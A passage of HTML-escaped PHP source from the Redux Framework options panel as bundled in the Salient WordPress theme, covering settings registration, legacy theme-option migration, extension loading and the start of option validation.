                    $th = &#039;&lt;div class=&quot;redux_field_th&quot;&gt;&#039; . $th . &#039;&lt;/div&gt;&#039;;
                }

                $filter_arr = array(
                    &#039;editor&#039;,
                    &#039;ace_editor&#039;,
                    &#039;info&#039;,
                    &#039;section&#039;,
                    &#039;repeater&#039;,
                    &#039;color_scheme&#039;,
                    &#039;social_profiles&#039;,
                    &#039;css_layout&#039;
                );

                if ( $this-&gt;args[&#039;default_show&#039;] == true &amp;&amp; isset ( $field[&#039;default&#039;] ) &amp;&amp; isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) &amp;&amp; $this-&gt;options[ $field[&#039;id&#039;] ] != $field[&#039;default&#039;] &amp;&amp; ! in_array( $field[&#039;type&#039;], $filter_arr ) ) {
                    $th .= $this-&gt;get_default_output_string( $field );
                }

                return $th;
            }

            /**
             * Register Option for use
             *
             * @since       1.0.0
             * @access      public
             * @return      void
             */
            public function _register_settings() {

                // TODO - REMOVE
                // Not used by new sample-config, but in here for legacy builds
                // This is bad and can break things. Hehe.
                if ( ! function_exists( &#039;wp_get_current_user&#039; ) ) {
                    require_once ABSPATH . &quot;wp-includes/pluggable.php&quot;;
                }

                if ( $this-&gt;args[&#039;options_api&#039;] == true ) {
                    register_setting( $this-&gt;args[&#039;opt_name&#039;] . &#039;_group&#039;, $this-&gt;args[&#039;opt_name&#039;], array(
                        $this,
                        &#039;_validate_options&#039;
                    ) );
                }


                if ( is_null( $this-&gt;sections ) ) {
                    return;
                }

                if ( empty( $this-&gt;options_defaults ) ) {
                    $this-&gt;options_defaults = $this-&gt;_default_values();
                }

                $runUpdate = false;

                foreach ( $this-&gt;sections as $k =&gt; $section ) {
                    if ( isset ( $section[&#039;type&#039;] ) &amp;&amp; $section[&#039;type&#039;] == &#039;divide&#039; ) {
                        continue;
                    }

                    $display = true;

                    if ( isset ( $_GET[&#039;page&#039;] ) &amp;&amp; $_GET[&#039;page&#039;] == $this-&gt;args[&#039;page_slug&#039;] ) {
                        if ( isset ( $section[&#039;panel&#039;] ) &amp;&amp; $section[&#039;panel&#039;] == false ) {
                            $display = false;
                        }
                    }


                    // DOVY! Replace $k with $section[&#039;id&#039;] when ready
                    /**
                     * filter &#039;redux-section-{index}-modifier-{opt_name}&#039;
                     *
                     * @param array $section section configuration
                     */
                    $section = apply_filters( &quot;redux-section-{$k}-modifier-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $section );

                    /**
                     * filter &#039;redux/options/{opt_name}/section/{section.id}&#039;
                     *
                     * @param array $section section configuration
                     */
                    if ( isset ( $section[&#039;id&#039;] ) ) {
                        $section = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/section/{$section[&#039;id&#039;]}&quot;, $section );
                    }

                    if ( empty ( $section ) ) {
                        unset ( $this-&gt;sections[ $k ] );
                        continue;
                    }

                    if ( ! isset ( $section[&#039;title&#039;] ) ) {
                        $section[&#039;title&#039;] = &quot;&quot;;
                    }

                    if ( isset ( $section[&#039;customizer_only&#039;] ) &amp;&amp; $section[&#039;customizer_only&#039;] == true ) {
                        $section[&#039;panel&#039;]     = false;
                        $this-&gt;sections[ $k ] = $section;
                    }

                    $heading = isset ( $section[&#039;heading&#039;] ) ? $section[&#039;heading&#039;] : $section[&#039;title&#039;];

                    if ( isset ( $section[&#039;permissions&#039;] ) ) {
                        if ( ! self::current_user_can( $section[&#039;permissions&#039;] ) ) {
                            $this-&gt;hidden_perm_sections[] = $section[&#039;title&#039;];

                            foreach ( $section[&#039;fields&#039;] as $num =&gt; $field_data ) {
                                $field_type = $field_data[&#039;type&#039;];

                                if ( $field_type != &#039;section&#039; || $field_type != &#039;divide&#039; || $field_type != &#039;info&#039; || $field_type != &#039;raw&#039; ) {
                                    $field_id = $field_data[&#039;id&#039;];
                                    $default  = isset ( $this-&gt;options_defaults[ $field_id ] ) ? $this-&gt;options_defaults[ $field_id ] : &#039;&#039;;
                                    $data     = isset ( $this-&gt;options[ $field_id ] ) ? $this-&gt;options[ $field_id ] : $default;

                                    $this-&gt;hidden_perm_fields[ $field_id ] = $data;
                                }
                            }

                            continue;
                        }
                    }

                    if ( ! $display || ! function_exists( &#039;add_settings_section&#039; ) ) {
                        $this-&gt;no_panel_section[ $k ] = $section;
                    } else {
                        add_settings_section( $this-&gt;args[&#039;opt_name&#039;] . $k . &#039;_section&#039;, $heading, array(
                            &amp;$this,
                            &#039;_section_desc&#039;
                        ), $this-&gt;args[&#039;opt_name&#039;] . $k . &#039;_section_group&#039; );
                    }

                    $sectionIndent = false;
                    if ( isset ( $section[&#039;fields&#039;] ) ) {
                        foreach ( $section[&#039;fields&#039;] as $fieldk =&gt; $field ) {
                            if ( ! isset ( $field[&#039;type&#039;] ) ) {
                                continue; // You need a type!
                            }

                            if ( $field[&#039;type&#039;] == &quot;info&quot; &amp;&amp; isset( $field[&#039;raw_html&#039;] ) &amp;&amp; $field[&#039;raw_html&#039;] == true ) {
                                $field[&#039;type&#039;]                             = &quot;raw&quot;;
                                $field[&#039;content&#039;]                          = $field[&#039;desc&#039;];
                                $field[&#039;desc&#039;]                             = &quot;&quot;;
                                $this-&gt;sections[ $k ][&#039;fields&#039;][ $fieldk ] = $field;
                            } else if ( $field[&#039;type&#039;] == &quot;info&quot; ) {
                                if ( ! isset( $field[&#039;full_width&#039;] ) ) {
                                    $field[&#039;full_width&#039;]                       = true;
                                    $this-&gt;sections[ $k ][&#039;fields&#039;][ $fieldk ] = $field;
                                }
                            }

                            if ( $field[&#039;type&#039;] == &quot;raw&quot; ) {
                                if ( isset( $field[&#039;align&#039;] ) ) {
                                    $field[&#039;full_width&#039;] = $field[&#039;align&#039;] ? false : true;
                                    unset( $field[&#039;align&#039;] );
                                } else if ( ! isset( $field[&#039;full_width&#039;] ) ) {
                                    $field[&#039;full_width&#039;] = true;
                                }
                                $this-&gt;sections[ $k ][&#039;fields&#039;][ $fieldk ] = $field;
                            }


                            /**
                             * filter &#039;redux/options/{opt_name}/field/{field.id}&#039;
                             *
                             * @param array $field field config
                             */
                            $field = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/field/{$field[&#039;id&#039;]}/register&quot;, $field );


                            $this-&gt;field_types[ $field[&#039;type&#039;] ] = isset ( $this-&gt;field_types[ $field[&#039;type&#039;] ] ) ? $this-&gt;field_types[ $field[&#039;type&#039;] ] : array();

                            $this-&gt;field_sections[ $field[&#039;type&#039;] ][ $field[&#039;id&#039;] ] = $k;

                            $display = true;

                            if ( isset ( $_GET[&#039;page&#039;] ) &amp;&amp; $_GET[&#039;page&#039;] == $this-&gt;args[&#039;page_slug&#039;] ) {
                                if ( isset ( $field[&#039;panel&#039;] ) &amp;&amp; $field[&#039;panel&#039;] == false ) {
                                    $display = false;
                                }
                            }
                            if ( isset ( $field[&#039;customizer_only&#039;] ) &amp;&amp; $field[&#039;customizer_only&#039;] == true ) {
                                $display = false;
                            }

                            if ( isset ( $section[&#039;customizer&#039;] ) ) {
                                $field[&#039;customizer&#039;]                       = $section[&#039;customizer&#039;];
                                $this-&gt;sections[ $k ][&#039;fields&#039;][ $fieldk ] = $field;
                            }

                            if ( isset ( $field[&#039;permissions&#039;] ) ) {

                                if ( ! self::current_user_can( $field[&#039;permissions&#039;] ) ) {

                                    // nectar addition - fixes core issue that caused warnings
                                    $data = false;
                                    if ( isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) ) {
                                        $data = $this-&gt;options[ $field[&#039;id&#039;] ];
                                    } else if ( isset( $this-&gt;options_defaults[ $field[&#039;id&#039;] ] ) ) {
                                        $data = $this-&gt;options_defaults[ $field[&#039;id&#039;] ];
                                    }

                                    if ( $data ) {
                                        $this-&gt;hidden_perm_fields[ $field[&#039;id&#039;] ] = $data;
                                    }
                                    // nectar addition end

                                    continue;
                                }
                            }

                            if ( ! isset ( $field[&#039;id&#039;] ) ) {
                                echo &#039;&lt;br /&gt;&lt;h3&gt;No field ID is set.&lt;/h3&gt;&lt;pre&gt;&#039;;
                                print_r( $field );
                                echo &quot;&lt;/pre&gt;&lt;br /&gt;&quot;;
                                continue;
                            }

                            if ( isset ( $field[&#039;type&#039;] ) &amp;&amp; $field[&#039;type&#039;] == &quot;section&quot; ) {
                                if ( isset ( $field[&#039;indent&#039;] ) &amp;&amp; $field[&#039;indent&#039;] == true ) {
                                    $sectionIndent = true;
                                } else {
                                    $sectionIndent = false;
                                }
                            }

                            if ( isset ( $field[&#039;type&#039;] ) &amp;&amp; $field[&#039;type&#039;] == &quot;info&quot; &amp;&amp; $sectionIndent ) {
                                $field[&#039;indent&#039;] = $sectionIndent;
                            }

                            $th = $this-&gt;get_header_html( $field );

                            $field[&#039;name&#039;] = $this-&gt;args[&#039;opt_name&#039;] . &#039;[&#039; . $field[&#039;id&#039;] . &#039;]&#039;;

                            // Set the default value if present
                            $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = isset ( $this-&gt;options_defaults[ $field[&#039;id&#039;] ] ) ? $this-&gt;options_defaults[ $field[&#039;id&#039;] ] : &#039;&#039;;

                            // Set the defaults to the value if not present
                            $doUpdate = false;

                            // Check fields for values in the default parameter
                            if ( ! isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) &amp;&amp; isset ( $field[&#039;default&#039;] ) ) {
                                $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = $this-&gt;options[ $field[&#039;id&#039;] ] = $field[&#039;default&#039;];
                                $doUpdate                               = true;

                                // Check fields that hae no default value, but an options value with settings to
                                // be saved by default
                            } elseif ( ! isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) &amp;&amp; isset ( $field[&#039;options&#039;] ) ) {

                                // If sorter field, check for options as save them as defaults
                                if ( $field[&#039;type&#039;] == &#039;sorter&#039; || $field[&#039;type&#039;] == &#039;sortable&#039; ) {
                                    $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = $this-&gt;options[ $field[&#039;id&#039;] ] = $field[&#039;options&#039;];
                                    $doUpdate                               = true;
                                }
                            }

                            // CORRECT URLS if media URLs are wrong, but attachment IDs are present.
                            if ( $field[&#039;type&#039;] == &quot;media&quot; ) {
                                if ( isset ( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;id&#039;] ) &amp;&amp; isset ( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;url&#039;] ) &amp;&amp; ! empty ( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;url&#039;] ) &amp;&amp; strpos( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;url&#039;], str_replace( &#039;http://&#039;, &#039;&#039;, WP_CONTENT_URL ) ) === false ) {
                                    $data = wp_get_attachment_url( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;id&#039;] );

                                    if ( isset ( $data ) &amp;&amp; ! empty ( $data ) ) {
                                        $this-&gt;options[ $field[&#039;id&#039;] ][&#039;url&#039;]       = $data;
                                        $data                                       = wp_get_attachment_image_src( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;id&#039;], array(
                                            150,
                                            150
                                        ) );
                                        $this-&gt;options[ $field[&#039;id&#039;] ][&#039;thumbnail&#039;] = $data[0];
                                        $doUpdate                                   = true;
                                    }
                                }
                            }

                            if ( $field[&#039;type&#039;] == &quot;background&quot; ) {
                                if ( isset ( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;media&#039;][&#039;id&#039;] ) &amp;&amp; isset ( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;background-image&#039;] ) &amp;&amp; ! empty ( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;background-image&#039;] ) &amp;&amp; strpos( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;background-image&#039;], str_replace( &#039;http://&#039;, &#039;&#039;, WP_CONTENT_URL ) ) === false ) {
                                    $data = wp_get_attachment_url( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;media&#039;][&#039;id&#039;] );

                                    if ( isset ( $data ) &amp;&amp; ! empty ( $data ) ) {
                                        $this-&gt;options[ $field[&#039;id&#039;] ][&#039;background-image&#039;]   = $data;
                                        $data                                                = wp_get_attachment_image_src( $this-&gt;options[ $field[&#039;id&#039;] ][&#039;media&#039;][&#039;id&#039;], array(
                                            150,
                                            150
                                        ) );
                                        $this-&gt;options[ $field[&#039;id&#039;] ][&#039;media&#039;][&#039;thumbnail&#039;] = $data[0];
                                        $doUpdate                                            = true;
                                    }
                                }
                            }

                            if ( $field[&#039;type&#039;] == &quot;slides&quot; ) {
                                if ( isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) &amp;&amp; is_array( $this-&gt;options[ $field[&#039;id&#039;] ] ) &amp;&amp; isset ( $this-&gt;options[ $field[&#039;id&#039;] ][0][&#039;attachment_id&#039;] ) &amp;&amp; isset ( $this-&gt;options[ $field[&#039;id&#039;] ][0][&#039;image&#039;] ) &amp;&amp; ! empty ( $this-&gt;options[ $field[&#039;id&#039;] ][0][&#039;image&#039;] ) &amp;&amp; strpos( $this-&gt;options[ $field[&#039;id&#039;] ][0][&#039;image&#039;], str_replace( &#039;http://&#039;, &#039;&#039;, WP_CONTENT_URL ) ) === false ) {
                                    foreach ( $this-&gt;options[ $field[&#039;id&#039;] ] as $key =&gt; $val ) {
                                        $data = wp_get_attachment_url( $val[&#039;attachment_id&#039;] );

                                        if ( isset ( $data ) &amp;&amp; ! empty ( $data ) ) {
                                            $this-&gt;options[ $field[&#039;id&#039;] ][ $key ][&#039;image&#039;] = $data;
                                            $data                                           = wp_get_attachment_image_src( $val[&#039;attachment_id&#039;], array(
                                                150,
                                                150
                                            ) );
                                            $this-&gt;options[ $field[&#039;id&#039;] ][ $key ][&#039;thumb&#039;] = $data[0];
                                            $doUpdate                                       = true;
                                        }
                                    }
                                }
                            }
                            // END -&gt; CORRECT URLS if media URLs are wrong, but attachment IDs are present.

                            if ( true == $doUpdate &amp;&amp; ! isset ( $this-&gt;never_save_to_db ) ) {

                                /* nectar addition */
                                if ( $this-&gt;args[&#039;save_defaults&#039;] ) { // Only save that to the DB if allowed to
                                    //$runUpdate = true;
                                    //upgrade proof
                                    global $salient_redux;
                                    $theme_options = get_option( &#039;salient&#039;, array() );
                                    if(empty($salient_redux) &amp;&amp; !empty($theme_options)) {

                                        $redux = ReduxFrameworkInstances::get_instance( &#039;salient_redux&#039; );

                                        foreach($theme_options as $k =&gt; $v) {
                                            $redux-&gt;set($k, $v);
                                        }

                                        //updates fonts separate due to different formatting
                                        $font_fields = array(&#039;navigation_font_family&#039;,&#039;navigation_dropdown_font_family&#039;,&#039;page_heading_font_family&#039;,&#039;page_heading_subtitle_font_family&#039;,&#039;off_canvas_nav_font_family&#039;,&#039;off_canvas_nav_subtext_font_family&#039;,&#039;body_font_family&#039;,&#039;h1_font_family&#039;,&#039;h2_font_family&#039;,&#039;h3_font_family&#039;,&#039;h4_font_family&#039;,&#039;h5_font_family&#039;,&#039;h6_font_family&#039;,&#039;i_font_family&#039;,&#039;label_font_family&#039;,&#039;nectar_slider_heading_font_family&#039;,&#039;home_slider_caption_font_family&#039;,&#039;testimonial_font_family&#039;,&#039;sidebar_footer_h_font_family&#039;,&#039;team_member_h_font_family&#039;,&#039;nectar_dropcap_font_family&#039;);
                                        foreach($font_fields as $k =&gt; $v) {

                                            $family = ( isset( $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v)] ) &amp;&amp; $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v)] != &#039;-&#039; ) ? $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v)] : &#039;&#039;;
                                            $size = ( isset( $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_size&#039;] ) &amp;&amp; $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_size&#039;] != &#039;-&#039; ) ? $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_size&#039;] : &#039;&#039;;
                                            $height = ( isset( $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_line_height&#039;] ) &amp;&amp; $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_line_height&#039;] != &#039;-&#039; ) ? $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_line_height&#039;] : &#039;&#039;;
                                            $spacing = ( isset( $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_spacing&#039;] ) &amp;&amp; $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_spacing&#039;] != &#039;-&#039; ) ? $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_spacing&#039;] : &#039;&#039;;
                                            $transform = ( isset( $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_transform&#039;] ) &amp;&amp; $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_transform&#039;] != &#039;-&#039; ) ? $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_transform&#039;] : &#039;&#039;;
                                            $style = &#039;&#039;;
                                            $weight = &#039;&#039;;

                                            if( isset( $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_style&#039;] ) &amp;&amp; $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_style&#039;] != &#039;-&#039; ) {

                                                $font_style = $theme_options[str_replace(&#039;_family&#039;, &#039;&#039;, $v) . &#039;_style&#039;];

                                                if(strpos($font_style,&#039;0italic&#039;) !== false) {

                                                    $weight = str_replace(&#039;italic&#039;, &#039;&#039;, $font_style);
                                                    $style = &#039;italic&#039;;

                                                } else if (strpos($font_style,&#039;italic&#039;) !== false) {

                                                    $weight = &#039;400&#039;;
                                                    $style = &#039;italic&#039;;

                                                } else if ($font_style == &#039;regular&#039;) {

                                                     $weight = &#039;400&#039;;
                                                     $style = &#039;&#039;;

                                                } else {
                                                    $weight = $font_style;
                                                    $style = &#039;&#039;;
                                                }

                                            }

                                            $font_arr = array(
                                                &#039;font-family&#039; =&gt; $family,
                                                &#039;font-size&#039; =&gt; $size,
                                                &#039;line-height&#039; =&gt; $height,
                                                &#039;letter-spacing&#039; =&gt; $spacing,
                                                &#039;font-weight&#039; =&gt; $weight,
                                                &#039;text-transform&#039; =&gt; $transform,
                                                &#039;font-style&#039; =&gt; $style
                                            );

                                            $redux-&gt;set($v, $font_arr);

                                        }

                                        //images separately too
                                        $image_fields = array(&#039;favicon&#039;,&#039;background_image&#039;,&#039;logo&#039;,&#039;retina-logo&#039;,&#039;header-starting-logo&#039;,&#039;header-starting-retina-logo&#039;,&#039;header-starting-logo-dark&#039;,&#039;header-starting-retina-logo-dark&#039;,&#039;loading-image&#039;);
                                        foreach($image_fields as $k =&gt; $v) {
                                            if(isset($theme_options[$v]) &amp;&amp; $theme_options[$v] != &#039;&#039; &amp;&amp; strpos($theme_options[$v], &quot;.&quot;) !== false ) {

                                                $img_id = fjarrett_get_attachment_id_from_url( $theme_options[$v] );
                                                $img_arr = array(
                                                    &#039;id&#039; =&gt; $img_id,
                                                    &#039;height&#039; =&gt; &#039;&#039;,
                                                    &#039;width&#039; =&gt; &#039;&#039;,
                                                    &#039;thumbnail&#039; =&gt; $theme_options[$v],
                                                    &#039;url&#039; =&gt; $theme_options[$v]
                                                );
                                                $redux-&gt;set($v, $img_arr);
                                            }
                                        }


                                    } else {
                                         $runUpdate = true;
                                    }
                                }

                                /* nectar addition end */

                                // elseif($this-&gt;saved != &#039;&#039; &amp;&amp; $this-&gt;saved != false) {
                                // $runUpdate = true;
                                //}
                            }

                            if ( ! isset ( $field[&#039;class&#039;] ) ) { // No errors please
                                $field[&#039;class&#039;] = &quot;&quot;;
                            }
                            $id = $field[&#039;id&#039;];

                            /**
                             * filter &#039;redux-field-{field.id}modifier-{opt_name}&#039;
                             *
                             * @deprecated
                             *
                             * @param array $field field config
                             */
                            $field = apply_filters( &quot;redux-field-{$field[&#039;id&#039;]}modifier-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $field ); // REMOVE LATER

                            /**
                             * filter &#039;redux/options/{opt_name}/field/{field.id}&#039;
                             *
                             * @param array $field field config
                             */
                            $field = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/field/{$field[&#039;id&#039;]}&quot;, $field );

                            if ( empty ( $field ) || ! $field || $field == false ) {
                                unset ( $this-&gt;sections[ $k ][&#039;fields&#039;][ $fieldk ] );
                                continue;
                            }

                            if ( ! empty ( $this-&gt;folds[ $field[&#039;id&#039;] ][&#039;parent&#039;] ) ) { // This has some fold items, hide it by default
                                $field[&#039;class&#039;] .= &quot; fold&quot;;
                            }

                            if ( ! empty ( $this-&gt;folds[ $field[&#039;id&#039;] ][&#039;children&#039;] ) ) { // Sets the values you shoe fold children on
                                $field[&#039;class&#039;] .= &quot; foldParent&quot;;
                            }

                            if ( ! empty ( $field[&#039;compiler&#039;] ) ) {
                                $field[&#039;class&#039;] .= &quot; compiler&quot;;
                                $this-&gt;compiler_fields[ $field[&#039;id&#039;] ] = 1;
                            }

                            if ( isset ( $field[&#039;unit&#039;] ) &amp;&amp; ! isset ( $field[&#039;units&#039;] ) ) {
                                $field[&#039;units&#039;] = $field[&#039;unit&#039;];
                                unset ( $field[&#039;unit&#039;] );
                            }

                            $this-&gt;sections[ $k ][&#039;fields&#039;][ $fieldk ] = $field;

                            if ( isset ( $this-&gt;args[&#039;display_source&#039;] ) ) {
                                $th .= &#039;&lt;div id=&quot;&#039; . $field[&#039;id&#039;] . &#039;-settings&quot; style=&quot;display:none;&quot;&gt;&lt;pre&gt;&#039; . var_export( $this-&gt;sections[ $k ][&#039;fields&#039;][ $fieldk ], true ) . &#039;&lt;/pre&gt;&lt;/div&gt;&#039;;
                                $th .= &#039;&lt;br /&gt;&lt;a href=&quot;#TB_inline?width=600&amp;height=800&amp;inlineId=&#039; . $field[&#039;id&#039;] . &#039;-settings&quot; class=&quot;thickbox&quot;&gt;&lt;small&gt;View Source&lt;/small&gt;&lt;/a&gt;&#039;;
                            }

                            /**
                             * action &#039;redux/options/{opt_name}/field/field.type}/register&#039;
                             */
                            do_action( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/field/{$field[&#039;type&#039;]}/register&quot;, $field );

                            $this-&gt;check_dependencies( $field );
                            $this-&gt;field_head[ $field[&#039;id&#039;] ] = $th;

                            if ( ! $display || isset ( $this-&gt;no_panel_section[ $k ] ) ) {
                                $this-&gt;no_panel[] = $field[&#039;id&#039;];
                            } else {
                                if ( isset ( $field[&#039;hidden&#039;] ) &amp;&amp; $field[&#039;hidden&#039;] ) {
                                    $field[&#039;label_for&#039;] = &#039;redux_hide_field&#039;;
                                }
                                if ( $this-&gt;args[&#039;options_api&#039;] == true ) {
                                    add_settings_field(
                                        &quot;{$fieldk}_field&quot;, $th, array(
                                        &amp;$this,
                                        &#039;_field_input&#039;
                                    ), &quot;{$this-&gt;args[&#039;opt_name&#039;]}{$k}_section_group&quot;, &quot;{$this-&gt;args[&#039;opt_name&#039;]}{$k}_section&quot;, $field
                                    );
                                }
                            }
                        }
                    }
                }

                /**
                 * action &#039;redux-register-settings-{opt_name}&#039;
                 *
                 * @deprecated
                 */
                do_action( &quot;redux-register-settings-{$this-&gt;args[&#039;opt_name&#039;]}&quot; ); // REMOVE

                /**
                 * action &#039;redux/options/{opt_name}/register&#039;
                 *
                 * @param array option sections
                 */
                do_action( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/register&quot;, $this-&gt;sections );

                if ( $runUpdate &amp;&amp; ! isset ( $this-&gt;never_save_to_db ) ) { // Always update the DB with new fields
                    $this-&gt;set_options( $this-&gt;options );
                }

                if ( isset ( $this-&gt;transients[&#039;run_compiler&#039;] ) &amp;&amp; $this-&gt;transients[&#039;run_compiler&#039;] ) {

                    $this-&gt;no_output = true;
                    $this-&gt;_enqueue_output();


                    /**
                     * action &#039;redux-compiler-{opt_name}&#039;
                     *
                     * @deprecated
                     *
                     * @param array  options
                     * @param string CSS that get sent to the compiler hook
                     */
                    do_action( &quot;redux-compiler-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $this-&gt;options, $this-&gt;compilerCSS, $this-&gt;transients[&#039;changed_values&#039;] ); // REMOVE

                    /**
                     * action &#039;redux/options/{opt_name}a&#039;
                     *
                     * @param array  options
                     * @param string CSS that get sent to the compiler hook
                     */
                    do_action( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/compiler&quot;, $this-&gt;options, $this-&gt;compilerCSS, $this-&gt;transients[&#039;changed_values&#039;] );

                    /**
                     * action &#039;redux/options/{opt_name}/compiler/advanced&#039;
                     *
                     * @param array  options
                     * @param string CSS that get sent to the compiler hook, which sends the full Redux object
                     */
                    do_action( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/compiler/advanced&quot;, $this );

                    unset ( $this-&gt;transients[&#039;run_compiler&#039;] );
                    $this-&gt;set_transients();
                }
            }
            // _register_settings()

            /**
             * Register Extensions for use
             *
             * @since       3.0.0
             * @access      public
             * @return      void
             */
            private function _register_extensions() {
                /* nectar addition */
                $path    = get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/extensions/&#039;);
                $folders = scandir( $path, 1 );
                /* nectar addition end */

                /**
                 * action &#039;redux/extensions/before&#039;
                 *
                 * @param object $this ReduxFramework
                 */
                do_action( &quot;redux/extensions/before&quot;, $this );

                /**
                 * action &#039;redux/extensions/{opt_name}/before&#039;
                 *
                 * @param object $this ReduxFramework
                 */
                do_action( &quot;redux/extensions/{$this-&gt;args[&#039;opt_name&#039;]}/before&quot;, $this );

                if ( isset( $this-&gt;old_opt_name ) ) {
                    do_action( &quot;redux/extensions/{$this-&gt;old_opt_name}/before&quot;, $this );
                }

                foreach ( $folders as $folder ) {
                    if ( $folder === &#039;.&#039; || $folder === &#039;..&#039; || ! is_dir( $path . $folder ) || substr( $folder, 0, 1 ) === &#039;.&#039; || substr( $folder, 0, 1 ) === &#039;@&#039; || substr( $folder, 0, 4 ) === &#039;_vti&#039; ) {
                        continue;
                    }

                    $extension_class = &#039;ReduxFramework_Extension_&#039; . $folder;

                    /**
                     * filter &#039;redux-extensionclass-load&#039;
                     *
                     * @deprecated
                     *
                     * @param        string                    extension class file path
                     * @param string $extension_class          extension class name
                     */
                    $class_file = apply_filters( &quot;redux-extensionclass-load&quot;, &quot;$path/$folder/extension_{$folder}.php&quot;, $extension_class ); // REMOVE LATER

                    /**
                     * filter &#039;redux/extension/{opt_name}/{folder}&#039;
                     *
                     * @param        string                    extension class file path
                     * @param string $extension_class          extension class name
                     */
                    $class_file = apply_filters( &quot;redux/extension/{$this-&gt;args[&#039;opt_name&#039;]}/$folder&quot;, &quot;$path/$folder/extension_{$folder}.php&quot;, $class_file );

                    if ( $class_file ) {

                        if ( file_exists( $class_file ) ) {
                            require_once $class_file;

                            $this-&gt;extensions[ $folder ] = new $extension_class ( $this );
                        }
                    }
                }

                /**
                 * action &#039;redux-register-extensions-{opt_name}&#039;
                 *
                 * @deprecated
                 *
                 * @param object $this ReduxFramework
                 */
                do_action( &quot;redux-register-extensions-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $this ); // REMOVE

                /**
                 * action &#039;redux/extensions/{opt_name}&#039;
                 *
                 * @param object $this ReduxFramework
                 */
                do_action( &quot;redux/extensions/{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $this );

                if ( isset( $this-&gt;old_opt_name ) &amp;&amp; ! empty( $this-&gt;old_opt_name ) ) {
                    do_action( &quot;redux/extensions/{$this-&gt;old_opt_name}&quot;, $this );
                }
            }

            private function get_transients() {
                if ( ! isset ( $this-&gt;transients ) ) {
                    $this-&gt;transients       = get_option( $this-&gt;args[&#039;opt_name&#039;] . &#039;-transients&#039;, array() );
                    $this-&gt;transients_check = $this-&gt;transients;
                }
            }

            public function set_transients() {
                if ( ! isset ( $this-&gt;transients ) || ! isset ( $this-&gt;transients_check ) || $this-&gt;transients != $this-&gt;transients_check ) {
                    update_option( $this-&gt;args[&#039;opt_name&#039;] . &#039;-transients&#039;, $this-&gt;transients );
                    $this-&gt;transients_check = $this-&gt;transients;
                }
            }

            /**
             * Validate the Options options before insertion
             *
             * @since       3.0.0
             * @access      public
             *
             * @param       array $plugin_options The options array
             *
             * @return array|mixed|string|void
             */
            public function _validate_options( $plugin_options ) {
                //print_r($plugin_options);
                //              exit();
                if ( isset ( $this-&gt;validation_ran ) ) {
                    return $plugin_options;
                }
                $this-&gt;validation_ran = 1;

                // Save the values not in the panel
                if ( isset ( $plugin_options[&#039;redux-no_panel&#039;] ) ) {
                    $keys = explode( &#039;|&#039;, $plugin_options[&#039;redux-no_panel&#039;] );
                    foreach ( $keys as $key ) {
                        $plugin_options[ $key ] = $this-&gt;options[ $key ];
                    }
                    if ( isset ( $plugin_options[&#039;redux-no_panel&#039;] ) ) {
                        unset ( $plugin_options[&#039;redux-no_panel&#039;] );
                    }
                }

                if ( ! empty ( $this-&gt;hidden_perm_fields ) &amp;&amp; is_array( $this-&gt;hidden_perm_fields ) ) {
                    foreach ( $this-&gt;hidden_perm_fields as $id =&gt; $data ) {
                        $plugin_options[ $id ] = $data;
                    }
                }

                if ( $plugin_options == $this-&gt;options ) {
                    return $plugin_options;
                }

                $time = time();

                // Sets last saved time
                $this-&gt;transients[&#039;last_save&#039;] = $time;

                // Import
                if ( ( isset( $plugin_options[&#039;import_code&#039;] ) &amp;&amp; ! empty( $plugin_options[&#039;import_code&#039;] ) ) || ( isset( $plugin_options[&#039;import_link&#039;] ) &amp;&amp; ! empty( $plugin_options[&#039;import_link&#039;] ) ) ) {
